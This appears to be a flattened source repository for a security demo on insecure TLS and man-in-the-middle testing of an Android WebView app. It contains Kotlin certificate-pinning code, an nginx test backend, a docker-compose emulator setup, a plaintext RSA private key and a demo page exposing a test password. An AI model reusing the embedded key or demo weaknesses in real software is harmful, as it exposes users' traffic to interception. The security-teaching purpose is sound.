410 | val pinner = CertificatePinner.Builder()
411 | .add("*.mitmtest.com", "sha256/pcG7tltpGuaJrssJiqr5bmYc4iypr3QE65su1XuDcK8=")
412 | .build()
413 | val httpClient = OkHttpClient.Builder()
414 | // Custom socket factory is only needed because the pinned certificate is from a custom CA
415 | .sslSocketFactory(sslContext.socketFactory, tmf.trustManagers[0] as X509TrustManager)
416 | .certificatePinner(pinner)
417 | .build()
418 |
419 | binding.webview.webViewClient = object : WebViewClient() {
420 | override fun shouldInterceptRequest(
421 | view: WebView,
422 | interceptedRequest: WebResourceRequest
423 | ): WebResourceResponse {
424 | try {
425 | val url = URL(interceptedRequest.url.toString())
426 | val request = Request.Builder().url(url).build()
427 | val response = httpClient.newCall(request).execute()
428 |
429 | val contentType = response.header("Content-Type")
430 |
431 | if (contentType != null) {
432 |
433 | val inputStream = response.body?.byteStream()
434 | val mimeType = ContentTypeParser.getMimeType(contentType)
435 | val charset = ContentTypeParser.getCharset(contentType)
436 |
437 | return WebResourceResponse(mimeType, charset, inputStream)
438 | }
439 | } catch (e: SSLPeerUnverifiedException) {
440 | Handler(Looper.getMainLooper()).post {
441 | val builder = AlertDialog.Builder(context!!)
442 | builder.apply {
443 | setTitle("Certificate Error")
444 | setMessage(e.message)
445 | setNegativeButton(R.string.abort) { _, _ -> }
446 | }
447 | builder.create().show()
448 | }
449 | } catch (e: Exception) {
450 | Handler(Looper.getMainLooper()).post {
451 | val builder = AlertDialog.Builder(context!!)
452 | builder.apply {
453 | setTitle("Connection Error")
454 | setMessage(e.message ?: "Cause unknown")
455 | setNegativeButton(R.string.abort) { _, _ -> }
456 | }
457 | builder.create().show()
458 | }
459 | }
460 |
461 | return WebResourceResponse(null, null, null)
462 | }
463 | }
464 |
465 | binding.fab.setOnClickListener {
466 | if (binding.webview.url == null) {
467 | binding.webview.loadUrl("https://www.mitmtest.com")
468 | } else {
469 | binding.webview.clearCache(true)
470 | binding.webview.reload()
471 | }
472 | }
473 | }
474 |
475 | private fun initTrustManagerFactory(): TrustManagerFactory {
476 | // Parse CA certificate from the res/raw/my_ca.crt resource
477 | val cf = CertificateFactory.getInstance("X.509")
478 | val caInput = BufferedInputStream(resources.openRawResource(R.raw.mitmtest_ca))
479 | val ca = caInput.use {
480 | cf.generateCertificate(it)
481 | }
482 |
483 | // Create key store and insert the custom certificate
484 | val keyStoreType = KeyStore.getDefaultType()
485 | val keyStore = KeyStore.getInstance(keyStoreType)
486 | keyStore.load(null, null)
487 | keyStore.setCertificateEntry("custom_ca", ca)
488 |
489 | // Add the default well known certificates as well
490 | val tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm()
491 | val defaultTmf = TrustManagerFactory.getInstance(tmfAlgorithm)
492 | defaultTmf.init(null as KeyStore?)
493 | defaultTmf.trustManagers.filterIsInstance()
494 | .flatMap { it.acceptedIssuers.toList() }
495 | .forEach { keyStore.setCertificateEntry(it.subjectDN.name, it) }
496 |
497 | // Create a new trust manager that uses this custom key store
498 | val tmf = TrustManagerFactory.getInstance(tmfAlgorithm)
499 | tmf.init(keyStore)
500 | return tmf
501 | }
502 |
503 | companion object {
504 | /**
505 | * The fragment argument representing the section number for this
506 | * fragment.
507 | */
508 | private const val ARG_SECTION_NUMBER = "section_number"
509 |
510 | /**
511 | * The currently supported TLS version (SDK 29 and above: 1.3, everything below only
512 | * supports 1.2).
513 | */
514 | private val TLS_VERSION = if (SDK_INT > 28) "TLSv1.3" else "TLSv1.2"
515 |
516 | /**
517 | * Returns a new instance of this fragment for the given section
518 | * number.
519 | */
520 | @JvmStatic
521 | fun newInstance(sectionNumber: Int): WebViewFragment {
522 | return WebViewFragment().apply {
523 | arguments = Bundle().apply {
524 | putInt(ARG_SECTION_NUMBER, sectionNumber)
525 | }
526 | }
527 | }
528 | }
529 |
530 | override fun onDestroyView() {
531 | super.onDestroyView()
532 | _binding = null
533 | }
534 | }
--------------------------------------------------------------------------------
/app/app/src/main/res/drawable-v24/ic_launcher_foreground.xml:
--------------------------------------------------------------------------------
1 |
7 |
8 |
9 |
15 |
18 |
21 |
22 |
23 |
24 |
30 |
--------------------------------------------------------------------------------
/app/app/src/main/res/drawable/ic_launcher_background.xml:
--------------------------------------------------------------------------------
1 |
2 |
7 |
10 |
15 |
20 |
25 |
30 |
35 |
40 |
45 |
50 |
55 |
60 |
65 |
70 |
75 |
80 |
85 |
90 |
95 |
100 |
105 |
110 |
115 |
120 |
125 |
130 |
135 |
140 |
145 |
150 |
155 |
160 |
165 |
170 |
171 |
--------------------------------------------------------------------------------
/app/app/src/main/res/layout/activity_webview.xml:
--------------------------------------------------------------------------------
1 |
2 |
8 |
9 |
13 |
14 |
23 |
24 |
29 |
30 |
31 |
36 |
--------------------------------------------------------------------------------
/app/app/src/main/res/layout/fragment_webview.xml:
--------------------------------------------------------------------------------
1 |
2 |
9 |
10 |
20 |
21 |
30 |
31 |
--------------------------------------------------------------------------------
/app/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/app/src/main/res/mipmap-hdpi/ic_launcher.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Guardsquare/android-insecure-tls-demo/a48017c24454c3596ad90c44f52976eaf328f486/app/app/src/main/res/mipmap-hdpi/ic_launcher.webp
--------------------------------------------------------------------------------
/app/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Guardsquare/android-insecure-tls-demo/a48017c24454c3596ad90c44f52976eaf328f486/app/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp
--------------------------------------------------------------------------------
/app/app/src/main/res/mipmap-mdpi/ic_launcher.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Guardsquare/android-insecure-tls-demo/a48017c24454c3596ad90c44f52976eaf328f486/app/app/src/main/res/mipmap-mdpi/ic_launcher.webp
--------------------------------------------------------------------------------
/app/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Guardsquare/android-insecure-tls-demo/a48017c24454c3596ad90c44f52976eaf328f486/app/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp
--------------------------------------------------------------------------------
/app/app/src/main/res/mipmap-xhdpi/ic_launcher.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Guardsquare/android-insecure-tls-demo/a48017c24454c3596ad90c44f52976eaf328f486/app/app/src/main/res/mipmap-xhdpi/ic_launcher.webp
--------------------------------------------------------------------------------
/app/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Guardsquare/android-insecure-tls-demo/a48017c24454c3596ad90c44f52976eaf328f486/app/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp
--------------------------------------------------------------------------------
/app/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Guardsquare/android-insecure-tls-demo/a48017c24454c3596ad90c44f52976eaf328f486/app/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp
--------------------------------------------------------------------------------
/app/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Guardsquare/android-insecure-tls-demo/a48017c24454c3596ad90c44f52976eaf328f486/app/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp
--------------------------------------------------------------------------------
/app/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Guardsquare/android-insecure-tls-demo/a48017c24454c3596ad90c44f52976eaf328f486/app/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp
--------------------------------------------------------------------------------
/app/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Guardsquare/android-insecure-tls-demo/a48017c24454c3596ad90c44f52976eaf328f486/app/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp
--------------------------------------------------------------------------------
/app/app/src/main/res/raw/mitmtest_ca.crt:
--------------------------------------------------------------------------------
1 | -----BEGIN CERTIFICATE-----
2 | MIIDfTCCAmWgAwIBAgIUHv31mWPY2IOZJVcUW/IcICgVPlgwDQYJKoZIhvcNAQEL
3 | BQAwTjELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExEjAQBgNVBAcM
4 | CVRoZSBDbG91ZDEWMBQGA1UECgwNTXkgQ29tcGFueSBDQTAeFw0yMjAxMTExMzU3
5 | MzdaFw0yMzA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------------------------------------------------------------------------
/app/app/src/main/res/values-land/dimens.xml:
--------------------------------------------------------------------------------
1 |
2 | 48dp
3 |
--------------------------------------------------------------------------------
/app/app/src/main/res/values-night/themes.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
16 |
--------------------------------------------------------------------------------
/app/app/src/main/res/values-w1240dp/dimens.xml:
--------------------------------------------------------------------------------
1 |
2 | 200dp
3 |
--------------------------------------------------------------------------------
/app/app/src/main/res/values-w600dp/dimens.xml:
--------------------------------------------------------------------------------
1 |
2 | 48dp
3 |
--------------------------------------------------------------------------------
/app/app/src/main/res/values-w820dp/dimens.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 64dp
6 |
--------------------------------------------------------------------------------
/app/app/src/main/res/values/colors.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | #FFBB86FC
4 | #FF6200EE
5 | #FF3700B3
6 | #FF03DAC5
7 | #FF018786
8 | #FF000000
9 | #FFFFFFFF
10 |
--------------------------------------------------------------------------------
/app/app/src/main/res/values/dimens.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | 16dp
4 | 16dp
5 | 16dp
6 | 16dp
7 | 8dp
8 |
--------------------------------------------------------------------------------
/app/app/src/main/res/values/strings.xml:
--------------------------------------------------------------------------------
1 |
2 | Insecure Communication
3 | WebviewActivity
4 | Abort
5 |
--------------------------------------------------------------------------------
/app/app/src/main/res/values/themes.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
16 |
17 |
21 |
22 |
23 |
24 |
25 |
--------------------------------------------------------------------------------
/app/app/src/main/res/xml/network_security_config.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | mitmtest.com
5 |
6 |
7 |
8 |
9 | pcG7tltpGuaJrssJiqr5bmYc4iypr3QE65su1XuDcK8=
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/app/build.gradle:
--------------------------------------------------------------------------------
1 | // Top-level build file where you can add configuration options common to all sub-projects/modules.
2 |
3 | task clean(type: Delete) {
4 | delete rootProject.buildDir
5 | }
--------------------------------------------------------------------------------
/app/gradle.properties:
--------------------------------------------------------------------------------
1 | # Project-wide Gradle settings.
2 | # IDE (e.g. Android Studio) users:
3 | # Gradle settings configured through the IDE *will override*
4 | # any settings specified in this file.
5 | # For more details on how to configure your build environment visit
6 | # http://www.gradle.org/docs/current/userguide/build_environment.html
7 | # Specifies the JVM arguments used for the daemon process.
8 | # The setting is particularly useful for tweaking memory settings.
9 | org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
10 | # When configured, Gradle will run in incubating parallel mode.
11 | # This option should only be used with decoupled projects. More details, visit
12 | # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
13 | # org.gradle.parallel=true
14 | # AndroidX package structure to make it clearer which packages are bundled with the
15 | # Android operating system, and which are packaged with your app"s APK
16 | # https://developer.android.com/topic/libraries/support-library/androidx-rn
17 | android.useAndroidX=true
18 | # Automatically convert third-party libraries to use AndroidX
19 | android.enableJetifier=true
20 | # Kotlin code style for this project: "official" or "obsolete":
21 | kotlin.code.style=official
22 | # Enables namespacing of each library's R class so that its R class includes only the
23 | # resources declared in the library itself and none from the library's dependencies,
24 | # thereby reducing the size of the R class for that library
25 | android.nonTransitiveRClass=true
--------------------------------------------------------------------------------
/app/gradle/wrapper/gradle-wrapper.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Guardsquare/android-insecure-tls-demo/a48017c24454c3596ad90c44f52976eaf328f486/app/gradle/wrapper/gradle-wrapper.jar
--------------------------------------------------------------------------------
/app/gradle/wrapper/gradle-wrapper.properties:
--------------------------------------------------------------------------------
1 | distributionBase=GRADLE_USER_HOME
2 | distributionUrl=https\://services.gradle.org/distributions/gradle-7.3.2-bin.zip
3 | distributionPath=wrapper/dists
4 | zipStorePath=wrapper/dists
5 | zipStoreBase=GRADLE_USER_HOME
6 |
--------------------------------------------------------------------------------
/app/gradlew:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env sh
2 |
3 | #
4 | # Copyright 2015 the original author or authors.
5 | #
6 | # Licensed under the Apache License, Version 2.0 (the "License");
7 | # you may not use this file except in compliance with the License.
8 | # You may obtain a copy of the License at
9 | #
10 | # https://www.apache.org/licenses/LICENSE-2.0
11 | #
12 | # Unless required by applicable law or agreed to in writing, software
13 | # distributed under the License is distributed on an "AS IS" BASIS,
14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
15 | # See the License for the specific language governing permissions and
16 | # limitations under the License.
17 | #
18 |
19 | ##############################################################################
20 | ##
21 | ## Gradle start up script for UN*X
22 | ##
23 | ##############################################################################
24 |
25 | # Attempt to set APP_HOME
26 | # Resolve links: $0 may be a link
27 | PRG="$0"
28 | # Need this for relative symlinks.
29 | while [ -h "$PRG" ] ; do
30 | ls=`ls -ld "$PRG"`
31 | link=`expr "$ls" : '.*-> \(.*\)$'`
32 | if expr "$link" : '/.*' > /dev/null; then
33 | PRG="$link"
34 | else
35 | PRG=`dirname "$PRG"`"/$link"
36 | fi
37 | done
38 | SAVED="`pwd`"
39 | cd "`dirname \"$PRG\"`/" >/dev/null
40 | APP_HOME="`pwd -P`"
41 | cd "$SAVED" >/dev/null
42 |
43 | APP_NAME="Gradle"
44 | APP_BASE_NAME=`basename "$0"`
45 |
46 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
47 | DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
48 |
49 | # Use the maximum available, or set MAX_FD != -1 to use that value.
50 | MAX_FD="maximum"
51 |
52 | warn () {
53 | echo "$*"
54 | }
55 |
56 | die () {
57 | echo
58 | echo "$*"
59 | echo
60 | exit 1
61 | }
62 |
63 | # OS specific support (must be 'true' or 'false').
64 | cygwin=false
65 | msys=false
66 | darwin=false
67 | nonstop=false
68 | case "`uname`" in
69 | CYGWIN* )
70 | cygwin=true
71 | ;;
72 | Darwin* )
73 | darwin=true
74 | ;;
75 | MINGW* )
76 | msys=true
77 | ;;
78 | NONSTOP* )
79 | nonstop=true
80 | ;;
81 | esac
82 |
83 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
84 |
85 |
86 | # Determine the Java command to use to start the JVM.
87 | if [ -n "$JAVA_HOME" ] ; then
88 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
89 | # IBM's JDK on AIX uses strange locations for the executables
90 | JAVACMD="$JAVA_HOME/jre/sh/java"
91 | else
92 | JAVACMD="$JAVA_HOME/bin/java"
93 | fi
94 | if [ ! -x "$JAVACMD" ] ; then
95 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
96 |
97 | Please set the JAVA_HOME variable in your environment to match the
98 | location of your Java installation."
99 | fi
100 | else
101 | JAVACMD="java"
102 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
103 |
104 | Please set the JAVA_HOME variable in your environment to match the
105 | location of your Java installation."
106 | fi
107 |
108 | # Increase the maximum file descriptors if we can.
109 | if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
110 | MAX_FD_LIMIT=`ulimit -H -n`
111 | if [ $? -eq 0 ] ; then
112 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
113 | MAX_FD="$MAX_FD_LIMIT"
114 | fi
115 | ulimit -n $MAX_FD
116 | if [ $? -ne 0 ] ; then
117 | warn "Could not set maximum file descriptor limit: $MAX_FD"
118 | fi
119 | else
120 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
121 | fi
122 | fi
123 |
124 | # For Darwin, add options to specify how the application appears in the dock
125 | if $darwin; then
126 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
127 | fi
128 |
129 | # For Cygwin or MSYS, switch paths to Windows format before running java
130 | if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then
131 | APP_HOME=`cygpath --path --mixed "$APP_HOME"`
132 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
133 |
134 | JAVACMD=`cygpath --unix "$JAVACMD"`
135 |
136 | # We build the pattern for arguments to be converted via cygpath
137 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
138 | SEP=""
139 | for dir in $ROOTDIRSRAW ; do
140 | ROOTDIRS="$ROOTDIRS$SEP$dir"
141 | SEP="|"
142 | done
143 | OURCYGPATTERN="(^($ROOTDIRS))"
144 | # Add a user-defined pattern to the cygpath arguments
145 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then
146 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
147 | fi
148 | # Now convert the arguments - kludge to limit ourselves to /bin/sh
149 | i=0
150 | for arg in "$@" ; do
151 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
152 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
153 |
154 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
155 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
156 | else
157 | eval `echo args$i`="\"$arg\""
158 | fi
159 | i=`expr $i + 1`
160 | done
161 | case $i in
162 | 0) set -- ;;
163 | 1) set -- "$args0" ;;
164 | 2) set -- "$args0" "$args1" ;;
165 | 3) set -- "$args0" "$args1" "$args2" ;;
166 | 4) set -- "$args0" "$args1" "$args2" "$args3" ;;
167 | 5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
168 | 6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
169 | 7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
170 | 8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
171 | 9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
172 | esac
173 | fi
174 |
175 | # Escape application args
176 | save () {
177 | for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
178 | echo " "
179 | }
180 | APP_ARGS=`save "$@"`
181 |
182 | # Collect all arguments for the java command, following the shell quoting and substitution rules
183 | eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
184 |
185 | exec "$JAVACMD" "$@"
186 |
--------------------------------------------------------------------------------
/app/gradlew.bat:
--------------------------------------------------------------------------------
1 | @rem
2 | @rem Copyright 2015 the original author or authors.
3 | @rem
4 | @rem Licensed under the Apache License, Version 2.0 (the "License");
5 | @rem you may not use this file except in compliance with the License.
6 | @rem You may obtain a copy of the License at
7 | @rem
8 | @rem https://www.apache.org/licenses/LICENSE-2.0
9 | @rem
10 | @rem Unless required by applicable law or agreed to in writing, software
11 | @rem distributed under the License is distributed on an "AS IS" BASIS,
12 | @rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | @rem See the License for the specific language governing permissions and
14 | @rem limitations under the License.
15 | @rem
16 |
17 | @if "%DEBUG%" == "" @echo off
18 | @rem ##########################################################################
19 | @rem
20 | @rem Gradle startup script for Windows
21 | @rem
22 | @rem ##########################################################################
23 |
24 | @rem Set local scope for the variables with windows NT shell
25 | if "%OS%"=="Windows_NT" setlocal
26 |
27 | set DIRNAME=%~dp0
28 | if "%DIRNAME%" == "" set DIRNAME=.
29 | set APP_BASE_NAME=%~n0
30 | set APP_HOME=%DIRNAME%
31 |
32 | @rem Resolve any "." and ".." in APP_HOME to make it shorter.
33 | for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
34 |
35 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
36 | set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
37 |
38 | @rem Find java.exe
39 | if defined JAVA_HOME goto findJavaFromJavaHome
40 |
41 | set JAVA_EXE=java.exe
42 | %JAVA_EXE% -version >NUL 2>&1
43 | if "%ERRORLEVEL%" == "0" goto execute
44 |
45 | echo.
46 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
47 | echo.
48 | echo Please set the JAVA_HOME variable in your environment to match the
49 | echo location of your Java installation.
50 |
51 | goto fail
52 |
53 | :findJavaFromJavaHome
54 | set JAVA_HOME=%JAVA_HOME:"=%
55 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe
56 |
57 | if exist "%JAVA_EXE%" goto execute
58 |
59 | echo.
60 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
61 | echo.
62 | echo Please set the JAVA_HOME variable in your environment to match the
63 | echo location of your Java installation.
64 |
65 | goto fail
66 |
67 | :execute
68 | @rem Setup the command line
69 |
70 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
71 |
72 |
73 | @rem Execute Gradle
74 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
75 |
76 | :end
77 | @rem End local scope for the variables with windows NT shell
78 | if "%ERRORLEVEL%"=="0" goto mainEnd
79 |
80 | :fail
81 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
82 | rem the _cmd.exe /c_ return code!
83 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
84 | exit /b 1
85 |
86 | :mainEnd
87 | if "%OS%"=="Windows_NT" endlocal
88 |
89 | :omega
90 |
--------------------------------------------------------------------------------
/app/settings.gradle:
--------------------------------------------------------------------------------
1 | pluginManagement {
2 | repositories {
3 | gradlePluginPortal()
4 | google()
5 | mavenCentral()
6 | }
7 | plugins {
8 | id 'com.android.application' version '7.2.0-alpha06'
9 | id 'com.android.library' version '7.2.0-alpha06'
10 | id 'org.jetbrains.kotlin.android' version '1.5.31'
11 | }
12 | }
13 | dependencyResolutionManagement {
14 | repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
15 | repositories {
16 | google()
17 | mavenCentral()
18 | }
19 | }
20 | rootProject.name = "Insecure Communication"
21 | include ':app'
22 |
--------------------------------------------------------------------------------
/backend/nginx-backend.conf:
--------------------------------------------------------------------------------
1 | events { }
2 |
3 | http {
4 |
5 | map $http_upgrade $connection_upgrade {
6 | default upgrade;
7 | '' close;
8 | }
9 |
10 | server {
11 | listen 80;
12 | server_name www.mitmtest.com;
13 | return 301 https://www.mitmtest.com$request_uri;
14 | }
15 |
16 | server {
17 | listen 443 ssl;
18 | server_name www.mitmtest.com;
19 |
20 | ssl_certificate /etc/nginx-certs/mitmtest.com.crt;
21 | ssl_certificate_key /etc/nginx-certs/mitmtest.com.key;
22 |
23 | root /var/www/html;
24 | index index.html;
25 |
26 | location / {
27 | try_files $uri $uri/ =404;
28 | }
29 | }
30 |
31 | server {
32 | server_name google.mitmtest.com;
33 | listen 443;
34 | location / {
35 | proxy_pass https://google.com;
36 | }
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/backend/nginx-certs/mitmtest.com.crt:
--------------------------------------------------------------------------------
1 | -----BEGIN CERTIFICATE-----
2 | MIIDoDCCAoigAwIBAgIULnSwa3pJBkkBj4iYTYqpkf8rjK4wDQYJKoZIhvcNAQEL
3 | BQAwTjELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExEjAQBgNVBAcM
4 | CVRoZSBDbG91ZDEWMBQGA1UECgwNTXkgQ29tcGFueSBDQTAeFw0yMjAxMTExMzU5
5 | MzVaFw0yMzAxMTExMzU5MzVaMFkxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxp
6 | Zm9ybmlhMRIwEAYDVQQHDAlUaGUgQ2xvdWQxDTALBgNVBAoMBERlbW8xEjAQBgNV
7 | BAMMCU1JVE0gdGVzdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQ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2Hsn1p5qDHM+COHnmmoLTlr5Ia2OaWRadm6LvzaRf6saD227VMSlRKAUIvjG7
42 | Vn68us4azQyXpzCEWIUuRxnTR0Td7sSBF3OYHUQ2C4EL
43 | -----END CERTIFICATE-----
44 |
--------------------------------------------------------------------------------
/backend/nginx-certs/mitmtest.com.key:
--------------------------------------------------------------------------------
1 | -----BEGIN RSA PRIVATE KEY-----
2 | MIIEowIBAAKCAQEAvKCmRKfNey3yNCxKJpKHW1bU3Pf2PpflUZGSPszVw3WGodrr
3 | eD5FE/rzA9o1LTEIAlB+PYILI1l/fk+LtImA2eqwoTXa9TLokjsQa+fRzrgMwb4G
4 | mg3WugKC0+qjsLV8o5lqgWgaO70qc1/5gM43DmwgstMTpryH9C5cP2AIcG0g1gP/
5 | RWuKC9aCQsBnFZ2ibsZFMNJoC2tPH/5kDaRLEVX1tNtMN68sgbjrI91kabAqkoQI
6 | jSjGnPtm1HY+BaASQbswYzVIygPT/cLnLxn63IFFgsht4wkgzBy/qTZSQk3JdZ7b
7 | OMecWMCM8QJL0loShSCCBkiSE4f2vE+WyLzOuwIDAQABAoIBAQCg6dttjkj44EVS
8 | xMWtCit2fCizKMVkuGfkoe7ErDFfwQ7NXNirh1Oeq+JMUwYyOzW947UN+7ZMvbjJ
9 | pEpmBTdqr49mt27G5lsJBGIJ64VMeC5JyTYQjeW0YRgCeJST1v8xAVuecZSPidyA
10 | +Er82u6U2yE57F9DSmogoLwJRH9uh/MQK+iIPWPkq6r3KGNAlwb436/Yt8WsxIt4
11 | SQo/sMDkro4jW7QBux0YuL8VzeUYfIW3ohoGbyP94kyypJtLN+qxFmtYjQbRCKki
12 | c8eYUmBXsAGizgBvSwTrXkvgCHFAoqkl2LNmqznmRdmhuy9t+5qjJcnIgF5AYh8C
13 | xITDMZCBAoGBAOABRwEUZn3IZ/gDpMzAQa1fi98oHnOF6W4ZU08GpwOns50TArOk
14 | cbq5H3xgTQaKDBY7XBtF+QrrKjJvpXi0ozQg/UdLEZnMDzbBTq5AWv0f9y/1MVqV
15 | 7++3hHFQRtqS4m1kmrEOFYIG5Y6Al0FNyalYM3qS7QI3lLE1pa3nmR1RAoGBANeR
16 | zHdxAZ9LEk2lF9r71uUbW/yIecqhe9Vtp92CPbFmTZ9p/iV0KYEBOS8a1ZGfhzjT
17 | J6BQBxRNQMEgzY5/ehWHUtWXub9y0BByVbxLB8ZufoCmqoe/Q2ifEOaYlNXEwfeH
18 | WKGpdzcDhRfdBvCdKqnoxVWhW2vPa6oFUdTFH7hLAoGAAsrhSLkpYe4KpcPd3ROU
19 | fgXP55NHdec4dr/oEvchQ+FmUtH22ah2Jn7CTrmgnDFCX1CUIF7p8OHnn8NWi7+s
20 | vSygG7Bq4sDxe5xDT9bLi5ZHbZif6eIuoI1oIEWA7J6iJfz4FLb5O6q8V99wg0bl
21 | +a94zNFiFQH+X4ssqpNVjFECgYAf9xiwpWsuKb2fEdoFuM5WzsXHHp2gtG1eapI3
22 | wHZRdfAQsXDkMONuo7XNDFea7mLoxDbeCL/j/MibWrfgZ3q88oIP9h2vC+FabvnT
23 | n/SZMg1EGnKzCmN+ggfJidqYEEMK52D3J9/ronP74+SBjWykIUYRuomJ5Qn7/iny
24 | OQDJHQKBgD/mK0m7zhTU6UiyXhUFsQC1XJlLyUQvcQaTdEdOXIXlbcDk4twq3nZ9
25 | DzsQm9DurAdk6pSw+kHLvwAIgCMapY43Gxp2V5qriWorfmHvZ7OhVipzgZNfspWw
26 | blcW1UBAfiv/nQ92hMJfbDF9ZklvwsVqhnJyA7JVFVQysdnhvWeM
27 | -----END RSA PRIVATE KEY-----
28 |
--------------------------------------------------------------------------------
/backend/server-files/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | The password is "supersecure123"
6 |
7 |
8 |
--------------------------------------------------------------------------------
/docker-compose.yaml:
--------------------------------------------------------------------------------
1 | version: "3.7"
2 | services:
3 | front-envoy:
4 | image: emulator_envoy:latest
5 | container_name: emulator_envoy
6 | networks:
7 | - envoymesh
8 | expose:
9 | - "8080"
10 | - "8001"
11 | - "8443"
12 | ports:
13 | - "80:8080"
14 | - "443:8443"
15 | - "8001:8001"
16 |
17 | emulator:
18 | image: emulator_emulator:latest
19 | container_name: emulator_emulator
20 | networks:
21 | envoymesh:
22 | aliases:
23 | - emulator
24 | devices:
25 | - "/dev/kvm:/dev/kvm"
26 | shm_size: 128M
27 | expose:
28 | - "8554"
29 | ports:
30 | - "5555:5555"
31 | - "5554:5554"
32 | secrets:
33 | - adbkey
34 |
35 | jwt_signer:
36 | image: emulator_jwt_signer:latest
